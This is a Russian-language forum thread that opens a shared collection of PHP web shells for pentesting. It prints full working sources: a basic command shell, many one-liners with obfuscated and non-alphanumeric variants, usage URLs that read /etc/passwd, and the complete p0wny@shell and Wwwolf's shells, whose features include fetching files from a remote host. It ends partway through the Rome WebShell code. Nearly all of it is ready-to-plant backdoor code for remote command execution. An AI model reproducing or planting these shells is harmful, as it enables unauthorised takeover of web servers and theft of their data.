• XSS.stack #1 – первый литературный журнал от юзеров форума

Собираем коллекцию веб-шеллов

petrinh1988

X-pert
Эксперт
Регистрация
27.02.2024
Сообщения
243
Реакции
493
Всем привет!

Давно пора появиться на форуме теме, в рамках которой собираем максимальную коллекцию веб-шеллов. Идея не моя, в данном случае просто топикстартер. Смысл простой: каждый отдельный форумчанен обитает в своем информационном пузыре, использует привычне для себя инструменты. Другие форумчане могут и не догадываться о существовании каких-то специфических или просто более удобных вариантов. Кроме того, тема пентеста, как бы там ни было, имеет серый налет, а значит может блокироваться площадками или самими авторами. Поэтому есть смысл сохранить, пока существует такая возможнсость. Да и просто приятно, когда можешь зайти на любимый форум и быстро найти нужное решение.

Добавлять свои варианты может каждый участник сообщества. Далее, я или модераторы, переносим эти вэб-шеллы в первые сообщения. Для этого резервирую первые пять комментариев. На форуме есть объективные ограничения, которые мы не можем обойти, поэтому такой резерв.

Как добавить свой веб-шелл?
1. Проверьте, чтобы он не был дублем
2. Убедитесь, что шелл не содержит в себе бэкдоров и каких-то закладок. Нужно быть джентельменами. Добавляйте код автора.
3. Сделайте скриншот веб-шелла в работе и прикрепите его к сообщению (вставьте картинку, чтобы она загрузилась на форум, а не подгружалась с другого ресурса)
4. Укажите точные версии программного обеспечения с которым может работать шелл. Например, PHP 7.4. Указывайте все важные условия
5. Добавьте описание. Опишите что умеет веб-шелл.
6. Код веб-шелла оформляем в теги для кода в спойлере

Ниже шеллы добавлены для примера:

Easy PHP Web Shell
1735907947700.png

По и версии:
PHP 4.*, PHP 5.*, PHP 7.*, PHP 8.*
Описание:
Простейший PHP веб-шелл с незатейливым интерфейсом. Удобен тем, что можно оперативно создать на любом уязвимом веб-сервере с поддержкой PHP. Поддерживает вывод ошибок через перенаправление STDERR на STDOUT. Команда передается через GET-параметр "cmd".

PHP:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

Вариации однострочных веб-шеллов

Ниже приведены вариации простых однострочных шеллов, обфусцированных и нет.

PHP:
<?php echo passthru($_GET['cmd']); ?>

PHP:
<?php echo exec($_POST['cmd']); ?>

PHP:
<?php system($_GET['cmd']); ?>

PHP:
<?php passthru($_REQUEST['cmd']); ?>

Support GET and POST Requests Method​


PHP:
<?=`{$_REQUEST['_']}`?>

[*] Usage:
- http://target.com/path/to/shell.php?_=command
- curl -X POST http://target.com/path/to/shell.php -d "_=command"

Соответственно, можно использовать не $_REQUEST, а $_POST или $_GET


Obfuscated PHP Web shell​


PHP:
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

[*] Usage: http://target.com/path/to/shell.php?0=command
[*] Note: This is obfuscation of <?=`$_GET[0]`?>


Non-alphanumeric obfuscation PHP Web Shell​


PHP:
<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?> <?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

[*] Usage: http://target.com/path/to/shell.php?_=function&__=argument
[*] E.g.: http://target.com/path/to/shell.php?_=system&__=ls


Another Example Obfuscation of Simple PHP Webshell​


PHP:
<?php $_=${'_'.('{{{' ^ '<>/')};$_[0]($_[1]); ?>
PHP:
<?php $_=${'_'.('{'^'<').('{'^'>;').('{'^'/')};$_[0]($_[1]); ?>

[*] Usage: http://target.com/path/to/shell.php?0=function&1=argument
[*] E.g.: http://target.com/path/to/shell.php?0=system&1=ls

PHP:
<?php $_=${'_'.('{{{' ^ '<>/')};$_[0]($_[1]($_[2])); ?>
PHP:
<?php $_=${'_'.('{'^'<').('{'^'>;').('{'^'/')};$_[0]($_[1]($_[2])); ?>

[*] Usage: http://target.com/path/to/shell.php?0=function1&1=function2&2=argument
[*] E.g.:
- http://target.com/path/to/shell.php?0=var_dump&1=scandir&2=.
- http://target.com/path/to/shell.php?0=print_r&1=file_get_contents&2=/etc/passwd

PHP:
<?php $_=${'_'.('{{{' ^ '<>/')};$_[0]($_[1]($_[2])); ?>
PHP:
<?php $_=${'_'.('{'^'<').('{'^'>;').('{'^'/')};$_[0]($_[1]($_[2])); ?>

[*] Usage: http://target.com/path/to/shell.php?0=function1&1=function2&2=argument
[*] E.g.:
- http://target.com/path/to/shell.php?0=var_dump&1=scandir&2=.
- http://target.com/path/to/shell.php?0=print_r&1=file_get_contents&2=/etc/passwd


Without Space Obfuscation PHP Web Shell​


PHP:
<?=$_=${'_'.('{{{'^'<>/')};$_[0]($_[1]);?>

[*] Usage: http://target.com/path/to/shell.php?0=function&1=argument
[*] E.g.: http://target.com/path/to/shell.php?0=system&1=ls

PHP:
<?=$_=${'_'.('{{{'^'<>/')};$_[0]($_[1]($_[2]));?>

[*] Usage: http://target.com/path/to/shell.php?0=function1&1=function2&2=argument
[*] E.g.: http://target.com/path/to/shell.php?0=print_r&1=glob&2=*


Without Space and Non-alphanumeric Obfuscation PHP Web Shell​


PHP:
<?=$_=${'_'.('{{{'^'<>/')};$_['__']($_['___']);?>

[*] Usage: http://target.com/path/to/shell.php?__=function&___=argument
[*] E.g.: http://target.com/path/to/shell.php?__=system&___=ls

PHP:
<?=$_=${'_'.('{{{'^'<>/')};$_['__']($_['___']($_['____']));?>

[*] Usage: http://target.com/path/to/shell.php?__=function1&___=function2&____=argument
[*] E.g.: http://target.com/path/to/shell.php?__=var_dump&___=scandir&____=/

p0wny@shell:~#

1735908573544.png

По и версии: PHP 5.3+
Описание:
p0wny@shell:~# — это очень простая однофайловая оболочка PHP. Его можно использовать для быстрого выполнения команд на сервере при тестировании PHP-приложения. Используйте его с осторожностью: этот сценарий представляет угрозу безопасности сервера.

Функции:
  • История команд (с помощью клавиш со стрелками ↑ ↓)
  • Автодополнение имен команд и файлов (с помощью Tab ключ)
  • Перейдите в удаленную файловую систему (используя cd команда)
  • Загрузите файл на сервер (используя upload <destination_file_name> команда)
  • Загрузите файл с сервера (используя download <file_name> команда)

PHP:
<?php

$SHELL_CONFIG = array(
    'username' => 'p0wny',
    'hostname' => 'shell',
);

function expandPath($path) {
    if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
        exec("echo $match[1]", $stdout);
        return $stdout[0] . $match[2];
    }
    return $path;
}

function allFunctionExist($list = array()) {
    foreach ($list as $entry) {
        if (!function_exists($entry)) {
            return false;
        }
    }
    return true;
}

function executeCommand($cmd) {
    $output = '';
    if (function_exists('exec')) {
        exec($cmd, $output);
        $output = implode("\n", $output);
    } else if (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
        ob_start();
        system($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
        ob_start();
        passthru($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
        $handle = popen($cmd, 'r');
        while (!feof($handle)) {
            $output .= fread($handle, 4096);
        }
        pclose($handle);
    } else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
        $handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
        $output = stream_get_contents($pipes[1]);
        proc_close($handle);
    }
    return $output;
}

function isRunningWindows() {
    return stripos(PHP_OS, "WIN") === 0;
}

function featureShell($cmd, $cwd) {
    $stdout = "";

    if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
        chdir(expandPath("~"));
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir(expandPath($match[1]));
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        $stdout = executeCommand($cmd);
    }

    return array(
        "stdout" => base64_encode($stdout),
        "cwd" => base64_encode(getcwd())
    );
}

function featurePwd() {
    return array("cwd" => base64_encode(getcwd()));
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    foreach ($files as &$filename) {
        $filename = base64_encode($filename);
    }
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => base64_encode('File not found / no read permission.'),
            'cwd' => base64_encode(getcwd())
        );
    } else {
        return array(
            'name' => base64_encode(basename($filePath)),
            'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => base64_encode('Invalid path / no write permission.'),
            'cwd' => base64_encode(getcwd())
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => base64_encode('Done.'),
            'cwd' => base64_encode(getcwd())
        );
    }
}

function initShellConfig() {
    global $SHELL_CONFIG;

    if (isRunningWindows()) {
        $username = getenv('USERNAME');
        if ($username !== false) {
            $SHELL_CONFIG['username'] = $username;
        }
    } else {
        $pwuid = posix_getpwuid(posix_geteuid());
        if ($pwuid !== false) {
            $SHELL_CONFIG['username'] = $pwuid['name'];
        }
    }

    $hostname = gethostname();
    if ($hostname !== false) {
        $SHELL_CONFIG['hostname'] = $hostname;
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
} else {
    initShellConfig();
}

?><!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
                width: 100vw;
                height: 100vh;
                overflow: hidden;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #222;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
                max-width: calc(100vw - 2 * var(--shell-margin));
                max-height: calc(100vh - 2 * var(--shell-margin));
                resize: both;
                overflow: hidden;
                width: 100%;
                height: 100%;
                margin: var(--shell-margin) auto;
            }

            #shell-content {
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            :root {
                --shell-margin: 25px;
            }

            @media (min-width: 1200px) {
                :root {
                    --shell-margin: 50px !important;
                }
            }

            @media (max-width: 991px),
                   (max-height: 600px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }
                :root {
                    --shell-margin: 0 !important;
                }
                #shell {
                    resize: none;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
                padding: 10px 0;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
                box-sizing: border-box;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(atob(response.name), response.file)
                        } else {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion
                    data.files = data.files.map(function(file){
                        return atob(file);
                    });
                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = atob(response.cwd);
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }

                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html>

Wwwolf's Php Web Shell​

1739351322858.png


1. Работает, как на Windows, так и Unix-системах, без модификации кода
2. Поддерживает загрузку файлов
3. Не отбрасывает Stderr, за счет чего более информативный вывод
4. Поддерживает пароль для защиты шелла
5. Правильно обрабатывает спецсимолы, например "<"

Пока не проверял. Версия PHP не указана, но пишут о поддержке старых версий.

PHP:
#<?php
/*******************************************************************************
 * Copyright 2017 WhiteWinterWolf
 * https://www.whitewinterwolf.com/tags/php-webshell/
 *
 * This file is part of wwolf-php-webshell.
 *
 * wwwolf-php-webshell is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 ******************************************************************************/

/*
 * Optional password settings.
 * Use the 'passhash.sh' script to generate the hash.
 * NOTE: the prompt value is tied to the hash!
 */
$passprompt = "WhiteWinterWolf's PHP webshell: ";
$passhash = "";

function e($s) { echo htmlspecialchars($s, ENT_QUOTES); }

function h($s)
{
    global $passprompt;
    if (function_exists('hash_hmac'))
    {
        return hash_hmac('sha256', $s, $passprompt);
    }
    else
    {
        return bin2hex(mhash(MHASH_SHA256, $s, $passprompt));
    }
}

function fetch_fopen($host, $port, $src, $dst)
{
    global $err, $ok;
    $ret = '';
    if (strpos($host, '://') === false)
    {
        $host = 'http://' . $host;
    }
    else
    {
        $host = str_replace(array('ssl://', 'tls://'), 'https://', $host);
    }
    $rh = fopen("${host}:${port}${src}", 'rb');
    if ($rh !== false)
    {
        $wh = fopen($dst, 'wb');
        if ($wh !== false)
        {
            $cbytes = 0;
            while (! feof($rh))
            {
                $cbytes += fwrite($wh, fread($rh, 1024));
            }
            fclose($wh);
            $ret .= "${ok} Fetched file <i>${dst}</i> (${cbytes} bytes)<br />";
        }
        else
        {
            $ret .= "${err} Failed to open file <i>${dst}</i><br />";
        }
        fclose($rh);
    }
    else
    {
        $ret = "${err} Failed to open URL <i>${host}:${port}${src}</i><br />";
    }
    return $ret;
}

function fetch_sock($host, $port, $src, $dst)
{
    global $err, $ok;
    $ret = '';
    $host = str_replace('https://', 'tls://', $host);
    $s = fsockopen($host, $port);
    if ($s)
    {
        $f = fopen($dst, 'wb');
        if ($f)
        {
            $buf = '';
            $r = array($s);
            $w = NULL;
            $e = NULL;
            fwrite($s, "GET ${src} HTTP/1.0\r\n\r\n");
            while (stream_select($r, $w, $e, 5) && !feof($s))
            {
                $buf .= fread($s, 1024);
            }
            $buf = substr($buf, strpos($buf, "\r\n\r\n") + 4);
            fwrite($f, $buf);
            fclose($f);
            $ret .= "${ok} Fetched file <i>${dst}</i> (" . strlen($buf) . " bytes)<br />";
        }
        else
        {
            $ret .= "${err} Failed to open file <i>${dst}</i><br />";
        }
        fclose($s);
    }
    else
    {
        $ret .= "${err} Failed to connect to <i>${host}:${port}</i><br />";
    }
    return $ret;
}

ini_set('log_errors', '0');
ini_set('display_errors', '1');
error_reporting(E_ALL);

while (@ ob_end_clean());

if (! isset($_SERVER))
{
    global $HTTP_POST_FILES, $HTTP_POST_VARS, $HTTP_SERVER_VARS;
    $_FILES = &$HTTP_POST_FILES;
    $_POST = &$HTTP_POST_VARS;
    $_SERVER = &$HTTP_SERVER_VARS;
}

$auth = '';
$cmd = empty($_POST['cmd']) ? '' : $_POST['cmd'];
$cwd = empty($_POST['cwd']) ? getcwd() : $_POST['cwd'];
$fetch_func = 'fetch_fopen';
$fetch_host = empty($_POST['fetch_host']) ? $_SERVER['REMOTE_ADDR'] : $_POST['fetch_host'];
$fetch_path = empty($_POST['fetch_path']) ? '' : $_POST['fetch_path'];
$fetch_port = empty($_POST['fetch_port']) ? '80' : $_POST['fetch_port'];
$pass = empty($_POST['pass']) ? '' : $_POST['pass'];
$url = $_SERVER['REQUEST_URI'];
$status = '';
$ok = '&#9786; :';
$warn = '&#9888; :';
$err = '&#9785; :';

if (! empty($passhash))
{
    if (function_exists('hash_hmac') || function_exists('mhash'))
    {
        $auth = empty($_POST['auth']) ? h($pass) : $_POST['auth'];
        if (h($auth) !== $passhash)
        {
            ?>
                <form method="post" action="<?php e($url); ?>">
                    <?php e($passprompt); ?>
                    <input type="password" size="15" name="pass">
                    <input type="submit" value="Send">
                </form>
            <?php
            exit;
        }
    }
    else
    {
        $status .= "${warn} Authentication disabled ('mhash()' missing).<br />";
    }
}

if (! ini_get('allow_url_fopen'))
{
    ini_set('allow_url_fopen', '1');
    if (! ini_get('allow_url_fopen'))
    {
        if (function_exists('stream_select'))
        {
            $fetch_func = 'fetch_sock';
        }
        else
        {
            $fetch_func = '';
            $status .= "${warn} File fetching disabled ('allow_url_fopen'"
                . " disabled and 'stream_select()' missing).<br />";
        }
    }
}
if (! ini_get('file_uploads'))
{
    ini_set('file_uploads', '1');
    if (! ini_get('file_uploads'))
    {
        $status .= "${warn} File uploads disabled.<br />";
    }
}
if (ini_get('open_basedir') && ! ini_set('open_basedir', ''))
{
    $status .= "${warn} open_basedir = " . ini_get('open_basedir') . "<br />";
}

if (! chdir($cwd))
{
  $cwd = getcwd();
}

if (! empty($fetch_func) && ! empty($fetch_path))
{
    $dst = $cwd . DIRECTORY_SEPARATOR . basename($fetch_path);
    $status .= $fetch_func($fetch_host, $fetch_port, $fetch_path, $dst);
}

if (ini_get('file_uploads') && ! empty($_FILES['upload']))
{
    $dest = $cwd . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
    if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest))
    {
        $status .= "${ok} Uploaded file <i>${dest}</i> (" . $_FILES['upload']['size'] . " bytes)<br />";
    }
}
?>

<form method="post" action="<?php e($url); ?>"
    <?php if (ini_get('file_uploads')): ?>
        enctype="multipart/form-data"
    <?php endif; ?>
    >
    <?php if (! empty($passhash)): ?>
        <input type="hidden" name="auth" value="<?php e($auth); ?>">
    <?php endif; ?>
    <table border="0">
        <?php if (! empty($fetch_func)): ?>
            <tr><td>
                <b>Fetch:</b>
            </td><td>
                host: <input type="text" size="15" id="fetch_host" name="fetch_host" value="<?php e($fetch_host); ?>">
                port: <input type="text" size="4" id="fetch_port" name="fetch_port" value="<?php e($fetch_port); ?>">
                path: <input type="text" size="40" id="fetch_path" name="fetch_path" value="">
            </td></tr>
        <?php endif; ?>
        <tr><td>
            <b>CWD:</b>
        </td><td>
            <input type="text" size="50" id="cwd" name="cwd" value="<?php e($cwd); ?>">
            <?php if (ini_get('file_uploads')): ?>
                <b>Upload:</b> <input type="file" id="upload" name="upload">
            <?php endif; ?>
        </td></tr>
        <tr><td>
            <b>Cmd:</b>
        </td><td>
            <input type="text" size="80" id="cmd" name="cmd" value="<?php e($cmd); ?>">
        </td></tr>
        <tr><td>
        </td><td>
            <sup><a href="#" onclick="cmd.value=''; cmd.focus(); return false;">Clear cmd</a></sup>
        </td></tr>
        <tr><td colspan="2" style="text-align: center;">
            <input type="submit" value="Execute" style="text-align: right;">
        </td></tr>
    </table>
   
</form>
<hr />

<?php
if (! empty($status))
{
    echo "<p>${status}</p>";
}

echo "<pre>";
if (! empty($cmd))
{
    echo "<b>";
    e($cmd);
    echo "</b>\n";
    if (DIRECTORY_SEPARATOR == '/')
    {
        $p = popen('exec 2>&1; ' . $cmd, 'r');
    }
    else
    {
        $p = popen('cmd /C "' . $cmd . '" 2>&1', 'r');
    }
    while (! feof($p))
    {
        echo htmlspecialchars(fread($p, 4096), ENT_QUOTES);
        @ flush();
    }
}
echo "</pre>";

exit;
?>

Rome WebShell​

1739351963997.png


1. Полностью интерактивный файловый менеджер
2. Выполняет команды без необходимости кодировать в URI
3. Поддерживает загрузку файлов
4. Написан на PHP+JS+CSS, без библиотек
5. Поддерживает защиту паролем

PHP:
<!-- 
    @author Caesarovich
    @repository https://github.com/Caesarovich/rome-webshell

    This code is for educationnal purposes only.
    Malicious usage of this code will not hold the author responsible.
    Do not pentest without explicit permissions.

-->



<?php
    // Password protection, useful for King of The Hill games
    $pass=''; // Set to null to disable; Set to string to enable, must be the sha512 hash of the password.


    if($pass != null) {
        if (isset($_COOKIE['pass'])) { // We use cookies and not url parameter for security reasons
            // As it is likely that URL parameters are logged by the webserver, thus revealing the password
            if (hash('sha512', $_COOKIE['pass']) !== $pass) {
                echo "Wrong password !";
                exit;
            }
        } else {
            echo "Wrong password !";
            exit;
        }
    }
?>

<?php
    // Upload file to the server
    if (isset($_POST['upload'])) {
        $desinationDir = getDir();
        $destinationFile = $desinationDir.'/'.basename($_FILES['file']['name']);

        if (file_exists($destinationFile)) {
            echo "<script>alert('Error: File already exists !')</script>";
        }
        else if (move_uploaded_file($_FILES['file']['tmp_name'], $destinationFile)) {
            echo "<script>alert('File uploaded successfuly !')</script>";
        } else {
            echo "<script>alert('Error: Could not upload file !')</script>";
        }
    
    }
?>

<?php
    // Download a file from the server
    if (isset($_GET['download'])) {
        $file = $_GET['download'];
        if (file_exists($file)) {
            if (is_readable($file)) {
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="'.basename($file).'"');
                header('Expires: 0');
                header('Cache-Control: must-revalidate');
                header('Pragma: public');
                header('Content-Length: '.filesize($file));
                readfile($file);
                exit;
            } else {
                echo "<script>alert('Error: Could not read the file !')</script>";
                exit;
            }
        }
    }
?>

<?php
    function printPerms($file) {
        $mode = fileperms($file);
        if( $mode & 0x1000 ) { $type='p'; }
        else if( $mode & 0x2000 ) { $type='c'; }
